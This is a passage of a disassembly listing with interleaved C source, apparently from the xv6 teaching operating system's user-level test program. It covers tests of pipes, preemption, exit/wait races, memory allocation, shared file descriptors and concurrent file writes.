cc = sizeof(buf);
ac8: c7 45 e8 00 20 00 00 movl $0x2000,-0x18(%ebp)
exit();
} else if(pid > 0){
close(fds[1]);
total = 0;
cc = 1;
while((n = read(fds[0], buf, cc)) > 0){
acf: 8b 45 d8 mov -0x28(%ebp),%eax
ad2: 8b 55 e8 mov -0x18(%ebp),%edx
ad5: 89 54 24 08 mov %edx,0x8(%esp)
ad9: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
ae0: 00
ae1: 89 04 24 mov %eax,(%esp)
ae4: e8 e4 33 00 00 call 3ecd <read>
ae9: 89 45 ec mov %eax,-0x14(%ebp)
aec: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
af0: 0f 8f 71 ff ff ff jg a67 <pipe1+0xf4>
total += n;
cc = cc * 2;
if(cc > sizeof(buf))
cc = sizeof(buf);
}
if(total != 5 * 1033){
af6: 81 7d e4 2d 14 00 00 cmpl $0x142d,-0x1c(%ebp)
afd: 74 20 je b1f <pipe1+0x1ac>
printf(1, "pipe1 oops 3 total %d\n", total);
aff: 8b 45 e4 mov -0x1c(%ebp),%eax
b02: 89 44 24 08 mov %eax,0x8(%esp)
b06: c7 44 24 04 a1 48 00 movl $0x48a1,0x4(%esp)
b0d: 00
b0e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b15: e8 1b 35 00 00 call 4035 <printf>
exit();
b1a: e8 96 33 00 00 call 3eb5 <exit>
}
close(fds[0]);
b1f: 8b 45 d8 mov -0x28(%ebp),%eax
b22: 89 04 24 mov %eax,(%esp)
b25: e8 b3 33 00 00 call 3edd <close>
wait();
b2a: e8 8e 33 00 00 call 3ebd <wait>
} else {
printf(1, "fork() failed\n");
exit();
}
printf(1, "pipe1 ok\n");
b2f: c7 44 24 04 c7 48 00 movl $0x48c7,0x4(%esp)
b36: 00
b37: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b3e: e8 f2 34 00 00 call 4035 <printf>
b43: eb 19 jmp b5e <pipe1+0x1eb>
exit();
}
close(fds[0]);
wait();
} else {
printf(1, "fork() failed\n");
b45: c7 44 24 04 b8 48 00 movl $0x48b8,0x4(%esp)
b4c: 00
b4d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b54: e8 dc 34 00 00 call 4035 <printf>
exit();
b59: e8 57 33 00 00 call 3eb5 <exit>
}
printf(1, "pipe1 ok\n");
}
b5e: c9 leave
b5f: c3 ret
00000b60 <preempt>:
// meant to be run w/ at most two CPUs
void
preempt(void)
{
b60: 55 push %ebp
b61: 89 e5 mov %esp,%ebp
b63: 83 ec 38 sub $0x38,%esp
int pid1, pid2, pid3;
int pfds[2];
printf(1, "preempt: ");
b66: c7 44 24 04 d1 48 00 movl $0x48d1,0x4(%esp)
b6d: 00
b6e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b75: e8 bb 34 00 00 call 4035 <printf>
pid1 = fork();
b7a: e8 2e 33 00 00 call 3ead <fork>
b7f: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid1 == 0)
b82: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
b86: 75 02 jne b8a <preempt+0x2a>
for(;;)
;
b88: eb fe jmp b88 <preempt+0x28>
pid2 = fork();
b8a: e8 1e 33 00 00 call 3ead <fork>
b8f: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid2 == 0)
b92: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
b96: 75 02 jne b9a <preempt+0x3a>
for(;;)
;
b98: eb fe jmp b98 <preempt+0x38>
pipe(pfds);
b9a: 8d 45 e4 lea -0x1c(%ebp),%eax
b9d: 89 04 24 mov %eax,(%esp)
ba0: e8 20 33 00 00 call 3ec5 <pipe>
pid3 = fork();
ba5: e8 03 33 00 00 call 3ead <fork>
baa: 89 45 ec mov %eax,-0x14(%ebp)
if(pid3 == 0){
bad: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
bb1: 75 4c jne bff <preempt+0x9f>
close(pfds[0]);
bb3: 8b 45 e4 mov -0x1c(%ebp),%eax
bb6: 89 04 24 mov %eax,(%esp)
bb9: e8 1f 33 00 00 call 3edd <close>
if(write(pfds[1], "x", 1) != 1)
bbe: 8b 45 e8 mov -0x18(%ebp),%eax
bc1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
bc8: 00
bc9: c7 44 24 04 db 48 00 movl $0x48db,0x4(%esp)
bd0: 00
bd1: 89 04 24 mov %eax,(%esp)
bd4: e8 fc 32 00 00 call 3ed5 <write>
bd9: 83 f8 01 cmp $0x1,%eax
bdc: 74 14 je bf2 <preempt+0x92>
printf(1, "preempt write error");
bde: c7 44 24 04 dd 48 00 movl $0x48dd,0x4(%esp)
be5: 00
be6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
bed: e8 43 34 00 00 call 4035 <printf>
close(pfds[1]);
bf2: 8b 45 e8 mov -0x18(%ebp),%eax
bf5: 89 04 24 mov %eax,(%esp)
bf8: e8 e0 32 00 00 call 3edd <close>
for(;;)
;
bfd: eb fe jmp bfd <preempt+0x9d>
}
close(pfds[1]);
bff: 8b 45 e8 mov -0x18(%ebp),%eax
c02: 89 04 24 mov %eax,(%esp)
c05: e8 d3 32 00 00 call 3edd <close>
if(read(pfds[0], buf, sizeof(buf)) != 1){
c0a: 8b 45 e4 mov -0x1c(%ebp),%eax
c0d: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
c14: 00
c15: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
c1c: 00
c1d: 89 04 24 mov %eax,(%esp)
c20: e8 a8 32 00 00 call 3ecd <read>
c25: 83 f8 01 cmp $0x1,%eax
c28: 74 16 je c40 <preempt+0xe0>
printf(1, "preempt read error");
c2a: c7 44 24 04 f1 48 00 movl $0x48f1,0x4(%esp)
c31: 00
c32: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c39: e8 f7 33 00 00 call 4035 <printf>
c3e: eb 77 jmp cb7 <preempt+0x157>
return;
}
close(pfds[0]);
c40: 8b 45 e4 mov -0x1c(%ebp),%eax
c43: 89 04 24 mov %eax,(%esp)
c46: e8 92 32 00 00 call 3edd <close>
printf(1, "kill... ");
c4b: c7 44 24 04 04 49 00 movl $0x4904,0x4(%esp)
c52: 00
c53: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c5a: e8 d6 33 00 00 call 4035 <printf>
kill(pid1);
c5f: 8b 45 f4 mov -0xc(%ebp),%eax
c62: 89 04 24 mov %eax,(%esp)
c65: e8 7b 32 00 00 call 3ee5 <kill>
kill(pid2);
c6a: 8b 45 f0 mov -0x10(%ebp),%eax
c6d: 89 04 24 mov %eax,(%esp)
c70: e8 70 32 00 00 call 3ee5 <kill>
kill(pid3);
c75: 8b 45 ec mov -0x14(%ebp),%eax
c78: 89 04 24 mov %eax,(%esp)
c7b: e8 65 32 00 00 call 3ee5 <kill>
printf(1, "wait... ");
c80: c7 44 24 04 0d 49 00 movl $0x490d,0x4(%esp)
c87: 00
c88: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c8f: e8 a1 33 00 00 call 4035 <printf>
wait();
c94: e8 24 32 00 00 call 3ebd <wait>
wait();
c99: e8 1f 32 00 00 call 3ebd <wait>
wait();
c9e: e8 1a 32 00 00 call 3ebd <wait>
printf(1, "preempt ok\n");
ca3: c7 44 24 04 16 49 00 movl $0x4916,0x4(%esp)
caa: 00
cab: c7 04 24 01 00 00 00 movl $0x1,(%esp)
cb2: e8 7e 33 00 00 call 4035 <printf>
}
cb7: c9 leave
cb8: c3 ret
00000cb9 <exitwait>:
// try to find any races between exit and wait
void
exitwait(void)
{
cb9: 55 push %ebp
cba: 89 e5 mov %esp,%ebp
cbc: 83 ec 28 sub $0x28,%esp
int i, pid;
for(i = 0; i < 100; i++){
cbf: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
cc6: eb 53 jmp d1b <exitwait+0x62>
pid = fork();
cc8: e8 e0 31 00 00 call 3ead <fork>
ccd: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0){
cd0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
cd4: 79 16 jns cec <exitwait+0x33>
printf(1, "fork failed\n");
cd6: c7 44 24 04 a5 44 00 movl $0x44a5,0x4(%esp)
cdd: 00
cde: c7 04 24 01 00 00 00 movl $0x1,(%esp)
ce5: e8 4b 33 00 00 call 4035 <printf>
return;
cea: eb 49 jmp d35 <exitwait+0x7c>
}
if(pid){
cec: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
cf0: 74 20 je d12 <exitwait+0x59>
if(wait() != pid){
cf2: e8 c6 31 00 00 call 3ebd <wait>
cf7: 3b 45 f0 cmp -0x10(%ebp),%eax
cfa: 74 1b je d17 <exitwait+0x5e>
printf(1, "wait wrong pid\n");
cfc: c7 44 24 04 22 49 00 movl $0x4922,0x4(%esp)
d03: 00
d04: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d0b: e8 25 33 00 00 call 4035 <printf>
return;
d10: eb 23 jmp d35 <exitwait+0x7c>
}
} else {
exit();
d12: e8 9e 31 00 00 call 3eb5 <exit>
void
exitwait(void)
{
int i, pid;
for(i = 0; i < 100; i++){
d17: 83 45 f4 01 addl $0x1,-0xc(%ebp)
d1b: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
d1f: 7e a7 jle cc8 <exitwait+0xf>
}
} else {
exit();
}
}
printf(1, "exitwait ok\n");
d21: c7 44 24 04 32 49 00 movl $0x4932,0x4(%esp)
d28: 00
d29: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d30: e8 00 33 00 00 call 4035 <printf>
}
d35: c9 leave
d36: c3 ret
00000d37 <mem>:
void
mem(void)
{
d37: 55 push %ebp
d38: 89 e5 mov %esp,%ebp
d3a: 83 ec 28 sub $0x28,%esp
void *m1, *m2;
int pid, ppid;
printf(1, "mem test\n");
d3d: c7 44 24 04 3f 49 00 movl $0x493f,0x4(%esp)
d44: 00
d45: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d4c: e8 e4 32 00 00 call 4035 <printf>
ppid = getpid();
d51: e8 df 31 00 00 call 3f35 <getpid>
d56: 89 45 f0 mov %eax,-0x10(%ebp)
if((pid = fork()) == 0){
d59: e8 4f 31 00 00 call 3ead <fork>
d5e: 89 45 ec mov %eax,-0x14(%ebp)
d61: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
d65: 0f 85 aa 00 00 00 jne e15 <mem+0xde>
m1 = 0;
d6b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while((m2 = malloc(10001)) != 0){
d72: eb 0e jmp d82 <mem+0x4b>
*(char**)m2 = m1;
d74: 8b 45 e8 mov -0x18(%ebp),%eax
d77: 8b 55 f4 mov -0xc(%ebp),%edx
d7a: 89 10 mov %edx,(%eax)
m1 = m2;
d7c: 8b 45 e8 mov -0x18(%ebp),%eax
d7f: 89 45 f4 mov %eax,-0xc(%ebp)
printf(1, "mem test\n");
ppid = getpid();
if((pid = fork()) == 0){
m1 = 0;
while((m2 = malloc(10001)) != 0){
d82: c7 04 24 11 27 00 00 movl $0x2711,(%esp)
d89: e8 93 35 00 00 call 4321 <malloc>
d8e: 89 45 e8 mov %eax,-0x18(%ebp)
d91: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
d95: 75 dd jne d74 <mem+0x3d>
*(char**)m2 = m1;
m1 = m2;
}
while(m1){
d97: eb 19 jmp db2 <mem+0x7b>
m2 = *(char**)m1;
d99: 8b 45 f4 mov -0xc(%ebp),%eax
d9c: 8b 00 mov (%eax),%eax
d9e: 89 45 e8 mov %eax,-0x18(%ebp)
free(m1);
da1: 8b 45 f4 mov -0xc(%ebp),%eax
da4: 89 04 24 mov %eax,(%esp)
da7: e8 3c 34 00 00 call 41e8 <free>
m1 = m2;
dac: 8b 45 e8 mov -0x18(%ebp),%eax
daf: 89 45 f4 mov %eax,-0xc(%ebp)
m1 = 0;
while((m2 = malloc(10001)) != 0){
*(char**)m2 = m1;
m1 = m2;
}
while(m1){
db2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
db6: 75 e1 jne d99 <mem+0x62>
m2 = *(char**)m1;
free(m1);
m1 = m2;
}
m1 = malloc(1024*20);
db8: c7 04 24 00 50 00 00 movl $0x5000,(%esp)
dbf: e8 5d 35 00 00 call 4321 <malloc>
dc4: 89 45 f4 mov %eax,-0xc(%ebp)
if(m1 == 0){
dc7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
dcb: 75 24 jne df1 <mem+0xba>
printf(1, "couldn't allocate mem?!!\n");
dcd: c7 44 24 04 49 49 00 movl $0x4949,0x4(%esp)
dd4: 00
dd5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
ddc: e8 54 32 00 00 call 4035 <printf>
kill(ppid);
de1: 8b 45 f0 mov -0x10(%ebp),%eax
de4: 89 04 24 mov %eax,(%esp)
de7: e8 f9 30 00 00 call 3ee5 <kill>
exit();
dec: e8 c4 30 00 00 call 3eb5 <exit>
}
free(m1);
df1: 8b 45 f4 mov -0xc(%ebp),%eax
df4: 89 04 24 mov %eax,(%esp)
df7: e8 ec 33 00 00 call 41e8 <free>
printf(1, "mem ok\n");
dfc: c7 44 24 04 63 49 00 movl $0x4963,0x4(%esp)
e03: 00
e04: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e0b: e8 25 32 00 00 call 4035 <printf>
exit();
e10: e8 a0 30 00 00 call 3eb5 <exit>
} else {
wait();
e15: e8 a3 30 00 00 call 3ebd <wait>
}
}
e1a: c9 leave
e1b: c3 ret
00000e1c <sharedfd>:
// two processes write to the same file descriptor
// is the offset shared? does inode locking work?
void
sharedfd(void)
{
e1c: 55 push %ebp
e1d: 89 e5 mov %esp,%ebp
e1f: 83 ec 48 sub $0x48,%esp
int fd, pid, i, n, nc, np;
char buf[10];
printf(1, "sharedfd test\n");
e22: c7 44 24 04 6b 49 00 movl $0x496b,0x4(%esp)
e29: 00
e2a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e31: e8 ff 31 00 00 call 4035 <printf>
unlink("sharedfd");
e36: c7 04 24 7a 49 00 00 movl $0x497a,(%esp)
e3d: e8 c3 30 00 00 call 3f05 <unlink>
fd = open("sharedfd", O_CREATE|O_RDWR);
e42: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
e49: 00
e4a: c7 04 24 7a 49 00 00 movl $0x497a,(%esp)
e51: e8 9f 30 00 00 call 3ef5 <open>
e56: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
e59: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
e5d: 79 19 jns e78 <sharedfd+0x5c>
printf(1, "fstests: cannot open sharedfd for writing");
e5f: c7 44 24 04 84 49 00 movl $0x4984,0x4(%esp)
e66: 00
e67: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e6e: e8 c2 31 00 00 call 4035 <printf>
return;
e73: e9 a0 01 00 00 jmp 1018 <sharedfd+0x1fc>
}
pid = fork();
e78: e8 30 30 00 00 call 3ead <fork>
e7d: 89 45 e4 mov %eax,-0x1c(%ebp)
memset(buf, pid==0?'c':'p', sizeof(buf));
e80: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
e84: 75 07 jne e8d <sharedfd+0x71>
e86: b8 63 00 00 00 mov $0x63,%eax
e8b: eb 05 jmp e92 <sharedfd+0x76>
e8d: b8 70 00 00 00 mov $0x70,%eax
e92: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
e99: 00
e9a: 89 44 24 04 mov %eax,0x4(%esp)
e9e: 8d 45 d6 lea -0x2a(%ebp),%eax
ea1: 89 04 24 mov %eax,(%esp)
ea4: e8 5f 2e 00 00 call 3d08 <memset>
for(i = 0; i < 1000; i++){
ea9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
eb0: eb 39 jmp eeb <sharedfd+0xcf>
if(write(fd, buf, sizeof(buf)) != sizeof(buf)){
eb2: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
eb9: 00
eba: 8d 45 d6 lea -0x2a(%ebp),%eax
ebd: 89 44 24 04 mov %eax,0x4(%esp)
ec1: 8b 45 e8 mov -0x18(%ebp),%eax
ec4: 89 04 24 mov %eax,(%esp)
ec7: e8 09 30 00 00 call 3ed5 <write>
ecc: 83 f8 0a cmp $0xa,%eax
ecf: 74 16 je ee7 <sharedfd+0xcb>
printf(1, "fstests: write sharedfd failed\n");
ed1: c7 44 24 04 b0 49 00 movl $0x49b0,0x4(%esp)
ed8: 00
ed9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
ee0: e8 50 31 00 00 call 4035 <printf>
break;
ee5: eb 0d jmp ef4 <sharedfd+0xd8>
printf(1, "fstests: cannot open sharedfd for writing");
return;
}
pid = fork();
memset(buf, pid==0?'c':'p', sizeof(buf));
for(i = 0; i < 1000; i++){
ee7: 83 45 f4 01 addl $0x1,-0xc(%ebp)
eeb: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
ef2: 7e be jle eb2 <sharedfd+0x96>
if(write(fd, buf, sizeof(buf)) != sizeof(buf)){
printf(1, "fstests: write sharedfd failed\n");
break;
}
}
if(pid == 0)
ef4: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
ef8: 75 05 jne eff <sharedfd+0xe3>
exit();
efa: e8 b6 2f 00 00 call 3eb5 <exit>
else
wait();
eff: e8 b9 2f 00 00 call 3ebd <wait>
close(fd);
f04: 8b 45 e8 mov -0x18(%ebp),%eax
f07: 89 04 24 mov %eax,(%esp)
f0a: e8 ce 2f 00 00 call 3edd <close>
fd = open("sharedfd", 0);
f0f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
f16: 00
f17: c7 04 24 7a 49 00 00 movl $0x497a,(%esp)
f1e: e8 d2 2f 00 00 call 3ef5 <open>
f23: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
f26: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
f2a: 79 19 jns f45 <sharedfd+0x129>
printf(1, "fstests: cannot open sharedfd for reading\n");
f2c: c7 44 24 04 d0 49 00 movl $0x49d0,0x4(%esp)
f33: 00
f34: c7 04 24 01 00 00 00 movl $0x1,(%esp)
f3b: e8 f5 30 00 00 call 4035 <printf>
return;
f40: e9 d3 00 00 00 jmp 1018 <sharedfd+0x1fc>
}
nc = np = 0;
f45: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
f4c: 8b 45 ec mov -0x14(%ebp),%eax
f4f: 89 45 f0 mov %eax,-0x10(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
f52: eb 3b jmp f8f <sharedfd+0x173>
for(i = 0; i < sizeof(buf); i++){
f54: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
f5b: eb 2a jmp f87 <sharedfd+0x16b>
if(buf[i] == 'c')
f5d: 8d 55 d6 lea -0x2a(%ebp),%edx
f60: 8b 45 f4 mov -0xc(%ebp),%eax
f63: 01 d0 add %edx,%eax
f65: 0f b6 00 movzbl (%eax),%eax
f68: 3c 63 cmp $0x63,%al
f6a: 75 04 jne f70 <sharedfd+0x154>
nc++;
f6c: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(buf[i] == 'p')
f70: 8d 55 d6 lea -0x2a(%ebp),%edx
f73: 8b 45 f4 mov -0xc(%ebp),%eax
f76: 01 d0 add %edx,%eax
f78: 0f b6 00 movzbl (%eax),%eax
f7b: 3c 70 cmp $0x70,%al
f7d: 75 04 jne f83 <sharedfd+0x167>
np++;
f7f: 83 45 ec 01 addl $0x1,-0x14(%ebp)
printf(1, "fstests: cannot open sharedfd for reading\n");
return;
}
nc = np = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(i = 0; i < sizeof(buf); i++){
f83: 83 45 f4 01 addl $0x1,-0xc(%ebp)
f87: 8b 45 f4 mov -0xc(%ebp),%eax
f8a: 83 f8 09 cmp $0x9,%eax
f8d: 76 ce jbe f5d <sharedfd+0x141>
if(fd < 0){
printf(1, "fstests: cannot open sharedfd for reading\n");
return;
}
nc = np = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
f8f: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
f96: 00
f97: 8d 45 d6 lea -0x2a(%ebp),%eax
f9a: 89 44 24 04 mov %eax,0x4(%esp)
f9e: 8b 45 e8 mov -0x18(%ebp),%eax
fa1: 89 04 24 mov %eax,(%esp)
fa4: e8 24 2f 00 00 call 3ecd <read>
fa9: 89 45 e0 mov %eax,-0x20(%ebp)
fac: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
fb0: 7f a2 jg f54 <sharedfd+0x138>
nc++;
if(buf[i] == 'p')
np++;
}
}
close(fd);
fb2: 8b 45 e8 mov -0x18(%ebp),%eax
fb5: 89 04 24 mov %eax,(%esp)
fb8: e8 20 2f 00 00 call 3edd <close>
unlink("sharedfd");
fbd: c7 04 24 7a 49 00 00 movl $0x497a,(%esp)
fc4: e8 3c 2f 00 00 call 3f05 <unlink>
if(nc == 10000 && np == 10000){
fc9: 81 7d f0 10 27 00 00 cmpl $0x2710,-0x10(%ebp)
fd0: 75 1f jne ff1 <sharedfd+0x1d5>
fd2: 81 7d ec 10 27 00 00 cmpl $0x2710,-0x14(%ebp)
fd9: 75 16 jne ff1 <sharedfd+0x1d5>
printf(1, "sharedfd ok\n");
fdb: c7 44 24 04 fb 49 00 movl $0x49fb,0x4(%esp)
fe2: 00
fe3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
fea: e8 46 30 00 00 call 4035 <printf>
fef: eb 27 jmp 1018 <sharedfd+0x1fc>
} else {
printf(1, "sharedfd oops %d %d\n", nc, np);
ff1: 8b 45 ec mov -0x14(%ebp),%eax
ff4: 89 44 24 0c mov %eax,0xc(%esp)
ff8: 8b 45 f0 mov -0x10(%ebp),%eax
ffb: 89 44 24 08 mov %eax,0x8(%esp)
fff: c7 44 24 04 08 4a 00 movl $0x4a08,0x4(%esp)
1006: 00
1007: c7 04 24 01 00 00 00 movl $0x1,(%esp)
100e: e8 22 30 00 00 call 4035 <printf>
exit();
1013: e8 9d 2e 00 00 call 3eb5 <exit>
}
}
1018: c9 leave
1019: c3 ret
0000101a <fourfiles>:
// four processes write different files at the same
// time, to test block allocation.
void
fourfiles(void)
{
101a: 55 push %ebp
101b: 89 e5 mov %esp,%ebp
101d: 83 ec 48 sub $0x48,%esp
int fd, pid, i, j, n, total, pi;
char *names[] = { "f0", "f1", "f2", "f3" };
1020: c7 45 c8 1d 4a 00 00 movl $0x4a1d,-0x38(%ebp)
1027: c7 45 cc 20 4a 00 00 movl $0x4a20,-0x34(%ebp)
102e: c7 45 d0 23 4a 00 00 movl $0x4a23,-0x30(%ebp)
1035: c7 45 d4 26 4a 00 00 movl $0x4a26,-0x2c(%ebp)
char *fname;
printf(1, "fourfiles test\n");
103c: c7 44 24 04 29 4a 00 movl $0x4a29,0x4(%esp)
1043: 00
1044: c7 04 24 01 00 00 00 movl $0x1,(%esp)
104b: e8 e5 2f 00 00 call 4035 <printf>
for(pi = 0; pi < 4; pi++){
1050: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp)
1057: e9 fc 00 00 00 jmp 1158 <fourfiles+0x13e>
fname = names[pi];
105c: 8b 45 e8 mov -0x18(%ebp),%eax
105f: 8b 44 85 c8 mov -0x38(%ebp,%eax,4),%eax
1063: 89 45 e4 mov %eax,-0x1c(%ebp)
unlink(fname);
1066: 8b 45 e4 mov -0x1c(%ebp),%eax
1069: 89 04 24 mov %eax,(%esp)
106c: e8 94 2e 00 00 call 3f05 <unlink>
pid = fork();
1071: e8 37 2e 00 00 call 3ead <fork>
1076: 89 45 e0 mov %eax,-0x20(%ebp)
if(pid < 0){
1079: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
107d: 79 19 jns 1098 <fourfiles+0x7e>
printf(1, "fork failed\n");
107f: c7 44 24 04 a5 44 00 movl $0x44a5,0x4(%esp)
1086: 00
1087: c7 04 24 01 00 00 00 movl $0x1,(%esp)
108e: e8 a2 2f 00 00 call 4035 <printf>
exit();
1093: e8 1d 2e 00 00 call 3eb5 <exit>
}
if(pid == 0){
1098: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
109c: 0f 85 b2 00 00 00 jne 1154 <fourfiles+0x13a>
fd = open(fname, O_CREATE | O_RDWR);
10a2: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
10a9: 00
10aa: 8b 45 e4 mov -0x1c(%ebp),%eax
10ad: 89 04 24 mov %eax,(%esp)
10b0: e8 40 2e 00 00 call 3ef5 <open>
10b5: 89 45 dc mov %eax,-0x24(%ebp)
if(fd < 0){
10b8: 83 7d dc 00 cmpl $0x0,-0x24(%ebp)
10bc: 79 19 jns 10d7 <fourfiles+0xbd>
printf(1, "create failed\n");
10be: c7 44 24 04 39 4a 00 movl $0x4a39,0x4(%esp)
10c5: 00
10c6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
10cd: e8 63 2f 00 00 call 4035 <printf>
exit();
10d2: e8 de 2d 00 00 call 3eb5 <exit>
}
memset(buf, '0'+pi, 512);
10d7: 8b 45 e8 mov -0x18(%ebp),%eax
10da: 83 c0 30 add $0x30,%eax
10dd: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
10e4: 00
10e5: 89 44 24 04 mov %eax,0x4(%esp)
10e9: c7 04 24 a0 8a 00 00 movl $0x8aa0,(%esp)
10f0: e8 13 2c 00 00 call 3d08 <memset>
for(i = 0; i < 12; i++){
10f5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
10fc: eb 4b jmp 1149 <fourfiles+0x12f>
if((n = write(fd, buf, 500)) != 500){
10fe: c7 44 24 08 f4 01 00 movl $0x1f4,0x8(%esp)
1105: 00
1106: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
110d: 00
110e: 8b 45 dc mov -0x24(%ebp),%eax
1111: 89 04 24 mov %eax,(%esp)
1114: e8 bc 2d 00 00 call 3ed5 <write>
1119: 89 45 d8 mov %eax,-0x28(%ebp)
111c: 81 7d d8 f4 01 00 00 cmpl $0x1f4,-0x28(%ebp)
1123: 74 20 je 1145 <fourfiles+0x12b>
printf(1, "write failed %d\n", n);
1125: 8b 45 d8 mov -0x28(%ebp),%eax
1128: 89 44 24 08 mov %eax,0x8(%esp)
112c: c7 44 24 04 48 4a 00 movl $0x4a48,0x4(%esp)
1133: 00
1134: c7 04 24 01 00 00 00 movl $0x1,(%esp)
113b: e8 f5 2e 00 00 call 4035 <printf>
exit();
1140: e8 70 2d 00 00 call 3eb5 <exit>
printf(1, "create failed\n");
exit();
}
memset(buf, '0'+pi, 512);
for(i = 0; i < 12; i++){
1145: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1149: 83 7d f4 0b cmpl $0xb,-0xc(%ebp)
114d: 7e af jle 10fe <fourfiles+0xe4>
if((n = write(fd, buf, 500)) != 500){
printf(1, "write failed %d\n", n);
exit();
}
}
exit();
114f: e8 61 2d 00 00 call 3eb5 <exit>
char *names[] = { "f0", "f1", "f2", "f3" };
char *fname;
printf(1, "fourfiles test\n");
for(pi = 0; pi < 4; pi++){
1154: 83 45 e8 01 addl $0x1,-0x18(%ebp)
1158: 83 7d e8 03 cmpl $0x3,-0x18(%ebp)
115c: 0f 8e fa fe ff ff jle 105c <fourfiles+0x42>
}
exit();
}
}
for(pi = 0; pi < 4; pi++){
1162: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp)
1169: eb 09 jmp 1174 <fourfiles+0x15a>
wait();
116b: e8 4d 2d 00 00 call 3ebd <wait>
}
exit();
}
}
for(pi = 0; pi < 4; pi++){
1170: 83 45 e8 01 addl $0x1,-0x18(%ebp)
1174: 83 7d e8 03 cmpl $0x3,-0x18(%ebp)
1178: 7e f1 jle 116b <fourfiles+0x151>
wait();
}
for(i = 0; i < 2; i++){
117a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1181: e9 dc 00 00 00 jmp 1262 <fourfiles+0x248>
fname = names[i];
1186: 8b 45 f4 mov -0xc(%ebp),%eax
1189: 8b 44 85 c8 mov -0x38(%ebp,%eax,4),%eax
118d: 89 45 e4 mov %eax,-0x1c(%ebp)
fd = open(fname, 0);
1190: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1197: 00
1198: 8b 45 e4 mov -0x1c(%ebp),%eax
119b: 89 04 24 mov %eax,(%esp)
119e: e8 52 2d 00 00 call 3ef5 <open>
11a3: 89 45 dc mov %eax,-0x24(%ebp)
total = 0;
11a6: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
11ad: eb 4c jmp 11fb <fourfiles+0x1e1>
for(j = 0; j < n; j++){
11af: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
11b6: eb 35 jmp 11ed <fourfiles+0x1d3>
if(buf[j] != '0'+i){
11b8: 8b 45 f0 mov -0x10(%ebp),%eax
11bb: 05 a0 8a 00 00 add $0x8aa0,%eax
11c0: 0f b6 00 movzbl (%eax),%eax
11c3: 0f be c0 movsbl %al,%eax
11c6: 8b 55 f4 mov -0xc(%ebp),%edx
11c9: 83 c2 30 add $0x30,%edx
11cc: 39 d0 cmp %edx,%eax
11ce: 74 19 je 11e9 <fourfiles+0x1cf>
printf(1, "wrong char\n");
11d0: c7 44 24 04 59 4a 00 movl $0x4a59,0x4(%esp)
11d7: 00
11d8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11df: e8 51 2e 00 00 call 4035 <printf>
exit();
11e4: e8 cc 2c 00 00 call 3eb5 <exit>
for(i = 0; i < 2; i++){
